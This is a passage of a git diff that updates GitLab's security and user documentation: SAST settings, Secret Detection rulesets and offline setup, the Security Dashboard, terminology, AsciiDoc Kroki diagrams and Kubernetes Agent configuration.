+ ### Making SAST analyzers available to all GitLab tiers All open source (OSS) analyzers have been moved to the GitLab Core tier as of GitLab 13.3. @@ -188,7 +214,7 @@ the pipeline configuration, the last mention of the variable takes precedence. ### Overriding SAST jobs -CAUTION: **Deprecation:** +WARNING: Beginning in GitLab 13.0, the use of [`only` and `except`](../../../ci/yaml/README.md#onlyexcept-basic) is no longer supported. When overriding the template, you must use [`rules`](../../../ci/yaml/README.md#rules) instead. @@ -330,13 +356,13 @@ variables: If your project requires custom build configurations, it can be preferable to avoid compilation during your SAST execution and instead pass all job artifacts from an -earlier stage within the pipeline. This is the current strategy when requiring +earlier stage in the pipeline. This is the current strategy when requiring a `before_script` execution to prepare your scan job. To pass your project's dependencies as artifacts, the dependencies must be included in the project's working directory and specified using the `artifacts:path` configuration. If all dependencies are present, the `COMPILE=false` variable can be provided to the -analyzer and compilation will be skipped: +analyzer and compilation is skipped: ```yaml image: maven:3.6-jdk-8-alpine @@ -379,7 +405,10 @@ SAST can be [configured](#customizing-the-sast-settings) using environment varia #### Logging level -To control the verbosity of logs set the `SECURE_LOG_LEVEL` environment variable. Messages of this logging level or higher are output. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/10880) in GitLab 13.1. +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/10880) in GitLab 13.1. + +To control the verbosity of logs, set the `SECURE_LOG_LEVEL` environment variable. Messages of this +logging level or higher are output. From highest to lowest severity, the logging levels are: @@ -392,7 +421,7 @@ From highest to lowest severity, the logging levels are: #### Custom Certificate Authority To trust a custom Certificate Authority, set the `ADDITIONAL_CA_CERT_BUNDLE` variable to the bundle -of CA certs that you want to trust within the SAST environment. +of CA certs that you want to trust in the SAST environment. #### Docker images @@ -410,8 +439,8 @@ Some analyzers make it possible to filter out vulnerabilities under a given thre | Environment variable | Default value | Description | |-------------------------------|--------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| `SAST_EXCLUDED_PATHS` | `spec, test, tests, tmp` | Exclude vulnerabilities from output based on the paths. This is a comma-separated list of patterns. Patterns can be globs, or file or folder paths (for example, `doc,spec` ). Parent directories will also match patterns. | -| `SEARCH_MAX_DEPTH` | 4 | Maximum number of directories traversed when searching for source code files. | +| `SAST_EXCLUDED_PATHS` | `spec, test, tests, tmp` | Exclude vulnerabilities from output based on the paths. This is a comma-separated list of patterns. Patterns can be globs, or file or folder paths (for example, `doc,spec` ). Parent directories also match patterns. You might need to exclude temporary directories used by your build tool as these can generate false positives. | +| `SEARCH_MAX_DEPTH` | 4 | SAST searches the repository to detect the programming languages used, and selects the matching analyzers. Set the value of `SEARCH_MAX_DEPTH` to specify how many directory levels the search phase should span. After the analyzers have been selected, the _entire_ repository is analyzed. | | `SAST_BANDIT_EXCLUDED_PATHS` | | Comma-separated list of paths to exclude from scan. Uses Python's [`fnmatch` syntax](https://docs.python.org/2/library/fnmatch.html); For example: `'*/tests/*, */venv/*'` | | `SAST_BRAKEMAN_LEVEL` | 1 | Ignore Brakeman vulnerabilities under given confidence level. Integer, 1=Low 3=High. | | `SAST_FLAWFINDER_LEVEL` | 1 | Ignore Flawfinder vulnerabilities under given risk level. Integer, 0=No risk, 5=High risk. | @@ -424,7 +453,7 @@ Some analyzers can be customized with environment variables. | Environment variable | Analyzer | Description | |---------------------------------------|----------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | `SCAN_KUBERNETES_MANIFESTS` | Kubesec | Set to `"true"` to scan Kubernetes manifests. | -| `KUBESEC_HELM_CHARTS_PATH` | Kubesec | Optional path to Helm charts that `helm` uses to generate a Kubernetes manifest that `kubesec` will scan. If dependencies are defined, `helm dependency build` should be ran in a `before_script` to fetch the necessary dependencies. | +| `KUBESEC_HELM_CHARTS_PATH` | Kubesec | Optional path to Helm charts that `helm` uses to generate a Kubernetes manifest that `kubesec` scans. If dependencies are defined, `helm dependency build` should be ran in a `before_script` to fetch the necessary dependencies. | | `KUBESEC_HELM_OPTIONS` | Kubesec | Additional arguments for the `helm` executable. | | `COMPILE` | SpotBugs | Set to `false` to disable project compilation and dependency fetching. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/195252) in GitLab 13.1. | | `ANT_HOME` | SpotBugs | The `ANT_HOME` environment variable. | @@ -451,15 +480,20 @@ all [custom environment variables](../../../ci/variables/README.md#custom-enviro to the underlying SAST analyzer images if [the SAST vendored template](#configuration) is used. -CAUTION: **Caution:** +WARNING: Variables having names starting with these prefixes are **not** propagated to the SAST Docker container and/or analyzer containers: `DOCKER_`, `CI`, `GITLAB_`, `FF_`, `HOME`, `PWD`, `OLDPWD`, `PATH`, `SHLVL`, `HOSTNAME`. ### Experimental features -Receive early access to experimental features. +You can receive early access to experimental features. Experimental features might be added, +removed, or promoted to regular features at any time. + +Experimental features available are: + +- Enable scanning of iOS and Android apps using the [MobSF analyzer](https://gitlab.com/gitlab-org/security-products/analyzers/mobsf/). -Currently, this will enable scanning of iOS and Android apps via the [MobSF analyzer](https://gitlab.com/gitlab-org/security-products/analyzers/mobsf/). +#### Enable experimental features To enable experimental features, add the following to your `.gitlab-ci.yml` file: @@ -571,7 +605,7 @@ Once a vulnerability is found, you can interact with it. Read more on how to ## Vulnerabilities database -Vulnerabilities contained within the vulnerability database can be searched +Vulnerabilities contained in the vulnerability database can be searched and viewed at the [GitLab vulnerability advisory database](https://advisories.gitlab.com). ### Vulnerabilities database update diff --git a/doc/user/application_security/secret_detection/index.md b/doc/user/application_security/secret_detection/index.md index 5eba0fa44ba..8f57e2c5535 100644 --- a/doc/user/application_security/secret_detection/index.md +++ b/doc/user/application_security/secret_detection/index.md @@ -2,7 +2,7 @@ type: reference, howto stage: Secure group: Static Analysis -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Secret Detection @@ -40,19 +40,26 @@ The [default ruleset provided by Gitleaks](https://gitlab.com/gitlab-org/securit - Cloud services: - Amazon Web Services (AWS) - Google Cloud Platform (GCP) -Encryption keys: + - Heroku API +- Encryption keys: - PKCS8 - RSA - SSH - PGP + - DSA + - EC - Social media platforms: - Facebook API - Twitter API - Cloud SaaS vendors: - GitHub API - Slack Token + - Slack Webhook - Stripe API + - Twilio API - Generic API key strings starting with `api-` +- Password in URL +- U.S. Social Security Number ## Requirements @@ -61,10 +68,10 @@ To run Secret Detection jobs, by default, you need GitLab Runner with the [`kubernetes`](https://docs.gitlab.com/runner/install/kubernetes.html) executor. If you're using the shared runners on GitLab.com, this is enabled by default. -CAUTION: **Caution:** +WARNING: Our Secret Detection jobs expect a Linux container type. Windows containers are not supported. -CAUTION: **Caution:** +WARNING: If you use your own runners, make sure the Docker version installed is **not** `19.03.0`. See [troubleshooting information](../sast#error-response-from-daemon-error-processing-tar-file-docker-tar-relocation-error) for details. @@ -102,7 +109,7 @@ begins with a dollar sign (`$`), as this likely indicates the password is an env For example, `https://username:$password@example.com/path/to/repo` isn't detected, while `https://username:password@example.com/path/to/repo` is. -NOTE: **Note:** +NOTE: You don't have to configure Secret Detection manually as shown in this section if you're using [Auto Secret Detection](../../../topics/autodevops/stages.md#auto-secret-detection) provided by [Auto DevOps](../../../topics/autodevops/index.md). @@ -115,7 +122,7 @@ Add the following to your `.gitlab-ci.yml` file: ```yaml include: - - template: Secret-Detection.gitlab-ci.yml + - template: Security/Secret-Detection.gitlab-ci.yml ``` The included template creates Secret Detection jobs in your CI/CD pipeline and scans @@ -130,13 +137,13 @@ always take the latest Secret Detection artifact available. > [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/4639) in GitLab 13.6. -Upon detection of a secret, GitLab supports post processing hooks. These can be used to take actions like notifying the cloud service who issued the secret. The cloud provider can confirm the credentials and take remediation actions like revoking or reissuing a new secret and notifying the creator of the secret. Post-processing workflows vary by supported cloud providers. +Upon detection of a secret, GitLab supports post processing hooks. These can be used to take actions like notifying the cloud service who issued the secret. The cloud provider can confirm the credentials and take remediation actions like revoking or reissuing a new secret and notifying the creator of the secret. Post-processing workflows vary by supported cloud providers. GitLab currently supports post-processing for following service providers: - Amazon Web Services (AWS) -Third party cloud and SaaS providers can [express integration interest by filling out this form](https://forms.gle/wWpvrtLRK21Q2WJL9). Learn more about the [technical details of post-processing secrets](https://gitlab.com/groups/gitlab-org/-/epics/4639). +Third party cloud and SaaS providers can [express integration interest by filling out this form](https://forms.gle/wWpvrtLRK21Q2WJL9). Learn more about the [technical details of post-processing secrets](https://gitlab.com/groups/gitlab-org/-/epics/4639). ### Customizing settings @@ -153,7 +160,7 @@ override the `secret_detection` job with the `SECRET_DETECTION_HISTORIC_SCAN` va ```yaml include: - - template: Secret-Detection.gitlab-ci.yml + - template: Security/Secret-Detection.gitlab-ci.yml secret_detection: variables: @@ -163,7 +170,7 @@ secret_detection: Because the template is [evaluated before](../../../ci/yaml/README.md#include) the pipeline configuration, the last mention of the variable takes precedence. -CAUTION: **Deprecation:** +WARNING: Beginning in GitLab 13.0, the use of [`only` and `except`](../../../ci/yaml/README.md#onlyexcept-basic) is no longer supported. When overriding the template, you must use [`rules`](../../../ci/yaml/README.md#rules) instead. @@ -252,6 +259,27 @@ We have created a [short video walkthrough](https://youtu.be/wDtc_K00Y0A) showca <iframe src="https://www.youtube.com/embed/wDtc_K00Y0A" frameborder="0" allowfullscreen="true"> </iframe> </figure> +## Running Secret Detection in an offline environment + +For self-managed GitLab instances in an environment with limited, restricted, or intermittent access +to external resources through the internet, some adjustments are required for the Secret Detection job to +run successfully. For more information, see [Offline environments](../offline_deployments/index.md). + +### Requirements for offline Secret Detection + +To use Secret Detection in an offline environment, you need: + +- GitLab Runner with the [`docker` or `kubernetes` executor](#requirements). +- A Docker Container Registry with locally available copy of Secret Detection [analyzer](https://gitlab.com/gitlab-org/security-products/analyzers) images. +- Configure certificate checking of packages (optional). + +GitLab Runner has a [default `pull policy` of `always`](https://docs.gitlab.com/runner/executors/docker.html#using-the-always-pull-policy), +meaning the runner tries to pull Docker images from the GitLab container registry even if a local +copy is available. The GitLab Runner [`pull_policy` can be set to `if-not-present`](https://docs.gitlab.com/runner/executors/docker.html#using-the-if-not-present-pull-policy) +in an offline environment if you prefer using only locally available Docker images. However, we +recommend keeping the pull policy setting to `always` if not in an offline environment, as this +enables the use of updated scanners in your CI/CD pipelines. + ### Make GitLab Secret Detection analyzer image available inside your Docker registry Import the following default Secret Detection analyzer images from `registry.gitlab.com` into your @@ -278,8 +306,46 @@ Support for custom certificate authorities was introduced in the following versi | -------- | ------- | | secrets | [v3.0.0](https://gitlab.com/gitlab-org/security-products/analyzers/secrets/-/releases/v3.0.0) | +### Set Secret Detection CI job variables to use local Secret Detection analyzer + +Add the following configuration to your `.gitlab-ci.yml` file. You must replace +`SECURE_ANALYZERS_PREFIX` to refer to your local Docker container registry: + +```yaml +include: + - template: Security/Secret-Detection.gitlab-ci.yml + +variables: + SECURE_ANALYZERS_PREFIX: "localhost:5000/analyzers" +``` + +The Secret Detection job should now use local copies of the Secret Detection analyzer to scan your code and generate +security reports without requiring internet access. + ## Troubleshooting ### Getting warning message `gl-secret-detection-report.json: no matching files` For information on this, see the [general Application Security troubleshooting section](../../../ci/pipelines/job_artifacts.md#error-message-no-files-to-upload). + +### Error: `Couldn't run the gitleaks command: exit status 2` + +This error is usually caused by the `GIT_DEPTH` value of 50 that is set for all [projects by default](../../../ci/pipelines/settings.md#git-shallow-clone). + +For example, if a pipeline is triggered from a Merge Request containing 60 commits while the `GIT_DEPTH` is set to 50, the Secret Detection job fails as the clone is not deep enough to contain all of the relevant commits. + +You can confirm this to be the cause of the error by implementing a [logging level](../../application_security/secret_detection/index.md#logging-level) of `debug`. Once implemented, the logs should look similar to the following example, wherein an "object not found" error can be seen: + +```plaintext +ERRO[2020-11-18T18:05:52Z] object not found +[ERRO] [secrets] [2020-11-18T18:05:52Z] ▶ Couldn't run the gitleaks command: exit status 2 +[ERRO] [secrets] [2020-11-18T18:05:52Z] ▶ Gitleaks analysis failed: exit status 2 +``` + +If this is the case, we can resolve the issue by setting the [`GIT_DEPTH` variable](../../../ci/runners/README.md#shallow-cloning) to a higher value. In order to apply this only to the Secret Detection job, the following can be added to your `.gitlab-ci.yml`: + +```yaml +secret_detection: + variables: + GIT_DEPTH: 100 +``` diff --git a/doc/user/application_security/security_dashboard/img/group_vulnerability_report_v13_4.png b/doc/user/application_security/security_dashboard/img/group_vulnerability_report_v13_4.png Binary files differdeleted file mode 100644 index 0310ef3ea0a..00000000000 --- a/doc/user/application_security/security_dashboard/img/group_vulnerability_report_v13_4.png +++ /dev/null diff --git a/doc/user/application_security/security_dashboard/img/group_vulnerability_report_v13_7.png b/doc/user/application_security/security_dashboard/img/group_vulnerability_report_v13_7.png Binary files differnew file mode 100644 index 00000000000..cd8dbed48fc --- /dev/null +++ b/doc/user/application_security/security_dashboard/img/group_vulnerability_report_v13_7.png diff --git a/doc/user/application_security/security_dashboard/img/vulnerability_details_create_issue_v13_7.png b/doc/user/application_security/security_dashboard/img/vulnerability_details_create_issue_v13_7.png Binary files differnew file mode 100644 index 00000000000..b9b228c9430 --- /dev/null +++ b/doc/user/application_security/security_dashboard/img/vulnerability_details_create_issue_v13_7.png diff --git a/doc/user/application_security/security_dashboard/img/vulnerability_page_v13_1.png b/doc/user/application_security/security_dashboard/img/vulnerability_page_v13_1.png Binary files differdeleted file mode 100644 index 9cf95b197fe..00000000000 --- a/doc/user/application_security/security_dashboard/img/vulnerability_page_v13_1.png +++ /dev/null diff --git a/doc/user/application_security/security_dashboard/index.md b/doc/user/application_security/security_dashboard/index.md index 9f402cea9dc..2750aa81872 100644 --- a/doc/user/application_security/security_dashboard/index.md +++ b/doc/user/application_security/security_dashboard/index.md @@ -2,7 +2,7 @@ type: reference, howto stage: Secure group: Threat Insights -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # GitLab Security Dashboard, Security Center, and Vulnerability Reports **(ULTIMATE)** @@ -87,7 +87,7 @@ display all detected and confirmed vulnerabilities. The Vulnerability Report first displays the time at which the last pipeline completed on the project's default branch. There's also a link to view this in more detail. In the case of any pipeline failures, -you will see the number of failures clearly indicated. The failure notification takes you directly to +the number of failures is indicated. The failure notification takes you directly to the **Failed jobs** tab of the pipeline page. The Vulnerability Report next displays the total number of vulnerabilities by severity (for example, @@ -142,7 +142,7 @@ Next to the timeline chart is a list of projects, grouped and sorted by the seve | B | One or more "low" | | A | Zero vulnerabilities | -Projects with no vulnerability tests configured will not appear in the list. Additionally, dismissed +Projects with no vulnerability tests configured don't appear in the list. Additionally, dismissed vulnerabilities are excluded. Navigate to the group's [vulnerability report](#vulnerability-report-1) to view the vulnerabilities found. @@ -192,7 +192,7 @@ You can export all your vulnerabilities in CSV (comma separated values) format b ready, the CSV report downloads to your local machine. The report contains all vulnerabilities for the projects defined in the Security Dashboard, as filters don't apply to the export function. -NOTE: **Note:** +NOTE: It may take several minutes for the download to start if your project contains thousands of vulnerabilities. Don't close the page until the download finishes. @@ -225,12 +225,12 @@ are discovered. To ensure the information on the Security Dashboard is regularly updated, [configure a scheduled pipeline](../../../ci/pipelines/schedules.md) to run a -daily security scan. This will update the information displayed on the Security +daily security scan. This updates the information displayed on the Security Dashboard regardless of how often the default branch is updated. That way, reports are created even if no code change happens. -CAUTION: **Warning:** +WARNING: Running Dependency Scanning from a scheduled pipeline might result in false negatives if your project doesn't have a lock file and isn't configured for Continuous Delivery. A lock file is a file that lists all transient dependencies and keeps track of their exact versions. The false negative @@ -249,7 +249,7 @@ to configure daily security scans. Each vulnerability report contains vulnerabilities from the latest scans that were merged into the default branch. - + You can filter which vulnerabilities the vulnerability report displays by: @@ -264,7 +264,7 @@ Clicking any vulnerability in the table takes you to its [Vulnerability Details](../vulnerabilities) page to see more information on that vulnerability. To create an issue associated with the vulnerability, click the **Create Issue** button. - + Once you create the issue, the linked issue icon in the vulnerability list: diff --git a/doc/user/application_security/terminology/index.md b/doc/user/application_security/terminology/index.md index f975de213ef..e046b18b2a4 100644 --- a/doc/user/application_security/terminology/index.md +++ b/doc/user/application_security/terminology/index.md @@ -1,20 +1,20 @@ --- stage: Secure group: Static Analysis -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- -# Secure and Defend terminology +# Secure and Protect terminology -This terminology list for GitLab Secure and Defend aims to: +This terminology list for GitLab Secure and Protect aims to: - Promote a ubiquitous language for discussing application security. -- Improve the effectiveness of communication regarding GitLab's application security features. +- Improve the effectiveness of communication regarding GitLab application security features. - Get new contributors up to speed faster. -This document defines application security terms in the specific context of GitLab's Secure and -Defend products. Terms may therefore have different meanings outside of GitLab Secure and Defend. +This document defines application security terms in the specific context of GitLab Secure and +Protect features. Terms may therefore have different meanings outside that context. ## Terms @@ -24,7 +24,7 @@ Software that performs a scan. The scan analyzes an attack surface for vulnerabi a report containing findings. Reports adhere to the [Secure report format](#secure-report-format). Analyzers integrate into GitLab using a CI job. The report produced by the analyzer is published as -an artifact once the job is complete. GitLab ingests this report, allowing users to visualize and +an artifact after the job is complete. GitLab ingests this report, allowing users to visualize and manage found vulnerabilities. For more information, see [Security Scanner Integration](../../../development/integrations/secure.md). Many GitLab analyzers follow a standard approach using Docker to run a wrapped scanner. For example, @@ -74,7 +74,7 @@ or creating a merge request. ### Finding -An asset that has the potential to be vulnerable, identified within a project by an analyzer. Assets +An asset that has the potential to be vulnerable, identified in a project by an analyzer. Assets include but are not restricted to source code, binary packages, containers, dependencies, networks, applications, and infrastructure. @@ -98,9 +98,9 @@ A finding's primary identifier is a value unique to that finding. The external t of the finding's [first identifier](https://gitlab.com/gitlab-org/security-products/security-report-schemas/-/blob/v2.4.0-rc1/dist/sast-report-format.json#L228) combine to create the value. -Examples of primary identifiers include ZAP's `PluginID`, or `CVE` for Klar. Note that the -identifier must be stable. Subsequent scans must return the same value for the same finding, even if -the location has slightly changed. +Examples of primary identifiers include `PluginID` for OWASP Zed Attack Proxy (ZAP), or `CVE` for +Klar. Note that the identifier must be stable. Subsequent scans must return the same value for the +same finding, even if the location has slightly changed. ### Report finding diff --git a/doc/user/application_security/threat_monitoring/index.md b/doc/user/application_security/threat_monitoring/index.md index f85d4f0140c..f7bd201aba9 100644 --- a/doc/user/application_security/threat_monitoring/index.md +++ b/doc/user/application_security/threat_monitoring/index.md @@ -2,7 +2,7 @@ type: reference, howto stage: Protect group: Container Security -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Threat Monitoring **(ULTIMATE)** @@ -101,7 +101,7 @@ reflected upon refresh. Enforcement status changes are deployed directly to a deployment namespace of the selected environment. By default, the network policy list contains predefined policies in a -disabled state. Once enabled,a predefined policy deploys to the +disabled state. Once enabled, a predefined policy deploys to the selected environment's deployment platform and you can manage it like the regular policies. diff --git a/doc/user/application_security/vulnerabilities/index.md b/doc/user/application_security/vulnerabilities/index.md index 95bb1ff1a67..705964dba66 100644 --- a/doc/user/application_security/vulnerabilities/index.md +++ b/doc/user/application_security/vulnerabilities/index.md @@ -2,7 +2,7 @@ type: reference, howto stage: Secure group: Threat Insights -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Vulnerability Pages @@ -37,7 +37,7 @@ the following values: |-----------|------------------------------------------------------------------------------------------------------------------| | Detected | The default state for a newly discovered vulnerability | | Confirmed | A user has seen this vulnerability and confirmed it to be accurate | -| Dismissed | A user has seen this vulnerability and dismissed it because it is not accurate or otherwise will not be resolved | +| Dismissed | A user has seen this vulnerability and dismissed it because it is not accurate or otherwise not to be resolved | | Resolved | The vulnerability has been fixed and is no longer valid | A timeline shows you when the vulnerability status has changed @@ -47,9 +47,9 @@ and allows you to comment on a change. You can create an issue for a vulnerability by selecting the **Create issue** button. -This creates a [confidential issue](../../project/issues/confidential_issues.md) in the -project the vulnerability came from and pre-populates it with useful information from -the vulnerability report. After the issue is created, GitLab redirects you to the +This allows the user to create a [confidential issue](../../project/issues/confidential_issues.md) +in the project the vulnerability came from. Fields are pre-populated with pertinent information +from the vulnerability report. After the issue is created, GitLab redirects you to the issue page so you can edit, assign, or comment on the issue. ## Link issues to the vulnerability diff --git a/doc/user/asciidoc.md b/doc/user/asciidoc.md index 4bd15c7922d..546746af535 100644 --- a/doc/user/asciidoc.md +++ b/doc/user/asciidoc.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: reference, howto --- @@ -48,13 +48,10 @@ monospaced font: and lines breaks will be preserved. ``` -An admonition paragraph grabs the reader's attention: +Admonition paragraphs grab the reader's attention: -```plaintext -NOTE: This is a brief reference, please read the full documentation at https://asciidoctor.org/docs/. - -TIP: Lists can be indented. Leading whitespace is not significant. -``` +- `NOTE: This is a brief reference, please read the full documentation at https://asciidoctor.org/docs/.` +- `TIP: Lists can be indented. Leading whitespace is not significant.` ### Text Formatting @@ -440,6 +437,36 @@ graph LR ---- ``` +#### Kroki + +Kroki supports more than a dozen diagram libraries. +To make Kroki available in GitLab, a GitLab administrator needs to enable it first. +Read more in the [Kroki integration](../administration/integration/kroki.md) page. + +Once Kroki is enabled, you can create a wide variety of diagrams in AsciiDoc and Markdown documents. +Here's an example using a GraphViz diagram: + +**AsciiDoc** + +```plaintext +[graphviz] +.... +digraph G { + Hello->World +} +.... +``` + +**Markdown** + +````markdown +```graphviz +digraph G { + Hello->World +} +``` +```` + #### PlantUML To make PlantUML available in GitLab, a GitLab administrator needs to enable it first. diff --git a/doc/user/award_emojis.md b/doc/user/award_emojis.md index 47249a44bc1..4ece94447bc 100644 --- a/doc/user/award_emojis.md +++ b/doc/user/award_emojis.md @@ -1,10 +1,10 @@ --- stage: Plan group: Project Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Award emoji +# Award emoji **(CORE)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/1825) in GitLab 8.2. > - GitLab 9.0 [introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/9570) the usage of native emoji if the platform @@ -46,7 +46,7 @@ celebrate an accomplishment or agree with an opinion. To: - Add an award emoji, click the smile in the top right of the comment and pick an emoji from the dropdown. -- Remove an award emoji, click the emoji again and the vote will be removed. +- Remove an award emoji, click the emoji again.  diff --git a/doc/user/clusters/agent/index.md b/doc/user/clusters/agent/index.md index 74c679d9bb9..5963485aebc 100644 --- a/doc/user/clusters/agent/index.md +++ b/doc/user/clusters/agent/index.md @@ -1,7 +1,7 @@ --- stage: Configure group: Configure -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # GitLab Kubernetes Agent **(PREMIUM ONLY)** @@ -9,7 +9,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/223061) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.4. > - It's disabled on GitLab.com. Rolling this feature out to GitLab.com is [planned](https://gitlab.com/groups/gitlab-org/-/epics/3834). -CAUTION: **Warning:** +WARNING: This feature might not be available to you. Check the **version history** note above for details. The [GitLab Kubernetes Agent](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent) @@ -56,6 +56,12 @@ There are several components that work in concert for the Agent to accomplish Gi These repositories might be the same GitLab project or separate projects. +NOTE: +GitLab recommends you use the same GitLab project for the agent configuration +and manifest repositories. Our backlog contains issues for adding support for +[private manifest repositories outside of the configuration project](https://gitlab.com/gitlab-org/gitlab/-/issues/220912) and +[group level agents](https://gitlab.com/gitlab-org/gitlab/-/issues/283885). + For more details, please refer to our [full architecture documentation](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/-/blob/master/doc/architecture.md#high-level-architecture) in the Agent project. ## Get started with GitOps and the GitLab Agent @@ -82,8 +88,8 @@ Upgrade your agent installations together with GitLab upgrades. To decide which 1. Open the [GITLAB_KAS_VERSION](https://gitlab.com/gitlab-org/gitlab/-/blob/master/GITLAB_KAS_VERSION) file from the GitLab Repository, which contains the latest `agentk` version associated with the `master` branch. 1. Change the `master` branch and select the Git tag associated with your version. For instance, you could change it to GitLab [v13.5.3-ee release](https://gitlab.com/gitlab-org/gitlab/-/blob/v13.5.3-ee/GITLAB_KAS_VERSION) -The available `agentk` versions can be found in -[its container registry](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/container_registry/eyJuYW1lIjoiZ2l0bGFiLW9yZy9jbHVzdGVyLWludGVncmF0aW9uL2dpdGxhYi1hZ2VudC9hZ2VudGsiLCJ0YWdzX3BhdGgiOiIvZ2l0bGFiLW9yZy9jbHVzdGVyLWludGVncmF0aW9uL2dpdGxhYi1hZ2VudC9yZWdpc3RyeS9yZXBvc2l0b3J5LzEyMjMyMDUvdGFncz9mb3JtYXQ9anNvbiIsImlkIjoxMjIzMjA1LCJjbGVhbnVwX3BvbGljeV9zdGFydGVkX2F0IjpudWxsfQ==). +The available `agentk` and `kas` versions can be found in +[the container registry](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/container_registry/). ### Install the Kubernetes Agent Server @@ -93,7 +99,7 @@ chart](https://gitlab.com/gitlab-org/charts/gitlab). If you don't already have GitLab installed, please refer to our [installation documentation](https://docs.gitlab.com/ee/install/README.html). -NOTE: **Note:** +NOTE: GitLab plans to include the KAS on [GitLab.com](https://gitlab.com/groups/gitlab-org/-/epics/3834). #### Install with Omnibus @@ -161,23 +167,9 @@ gitops: ``` GitLab [versions 13.7 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/259669) also -supports manifest projects containing multiple directories (or subdirectories) -of YAML files. To use multiple YAML files, specify a `paths` attribute: - -```yaml -gitops: - manifest_projects: - - id: "path-to/your-manifest-project-number1" - paths: - # Read all .yaml files from team1/app1 directory. - # See https://github.com/bmatcuk/doublestar#about and - # https://pkg.go.dev/github.com/bmatcuk/doublestar/v2#Match for globbing rules. - - glob: '/team1/app1/*.yaml' - # Read all .yaml files from team2/apps and all subdirectories - - glob: '/team2/apps/**/*.yaml' - # If 'paths' is not specified or is an empty list, the configuration below is used - - glob: '/**/*.{yaml,yml,json}' -``` +supports manifest projects containing +multiple directories (or subdirectories) of YAML files. For more information see our +documentation on the [Kubernetes Agent configuration respository](repository.md). ### Create an Agent record in GitLab @@ -223,7 +215,7 @@ the Agent in subsequent steps. You can create an Agent record either: } ``` - NOTE: **Note:** + NOTE: GraphQL only displays the token one time after creating it. If you are new to using the GitLab GraphQL API, refer to the @@ -257,11 +249,14 @@ example [`resources.yml` file](#example-resourcesyml-file) in the following ways The agent can use the WebSockets or gRPC protocols to connect to the Agent Server. Select the option appropriate for your cluster configuration and GitLab architecture: - The `wss` scheme (an encrypted WebSockets connection) is specified by default - after you install `gitlab-kas` sub-chart or enable `kas` for Omnibus GitLab. - In this case, you must set `wss://GitLab.host.tld:443/-/kubernetes-agent` as + after you install the `gitlab-kas` sub-chart, or enable `gitlab-kas` for Omnibus GitLab. + When using the sub-chart, you must set `wss://kas.host.tld:443` as + `kas-address`, where `host.tld` is the domain you've setup for your GitLab installation. + When using Omnibus GitLab, you must set `wss://GitLab.host.tld:443/-/kubernetes-agent` as `kas-address`, where `GitLab.host.tld` is your GitLab hostname. - - Specify the `ws` scheme (such as `ws://GitLab.host.tld:80/-/kubernetes-agent`) + - When using the sub-chart, specify the `ws` scheme (such as `ws://kas.host.tld:80`) to use an unencrypted WebSockets connection. + When using the Omnibus GitLab, specify the `ws` scheme (such as `ws://GitLab.host.tld:80/-/kubernetes-agent`). - Specify the `grpc` scheme if both Agent and Server are installed in one cluster. In this case, you may specify `kas-address` value as `grpc://gitlab-kas.<your-namespace>:5005`) to use gRPC directly, where `gitlab-kas` @@ -270,6 +265,10 @@ example [`resources.yml` file](#example-resourcesyml-file) in the following ways Follow the [Support TLS for gRPC communication issue](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/-/issues/7) for progress updates. + - When deploying KAS through the [GitLab chart](https://docs.gitlab.com/charts/), it's possible to customize the `kas-address` for `wss` and `ws` schemes to whatever you need. + Check the [chart's KAS Ingress docs](https://docs.gitlab.com/charts/charts/gitlab/kas/#ingress) + to learn more about it. + - In the near future, Omnibus GitLab intends to provision `gitlab-kas` under a sub-domain by default, instead of the `/-/kubernetes-agent` path. Please follow [this 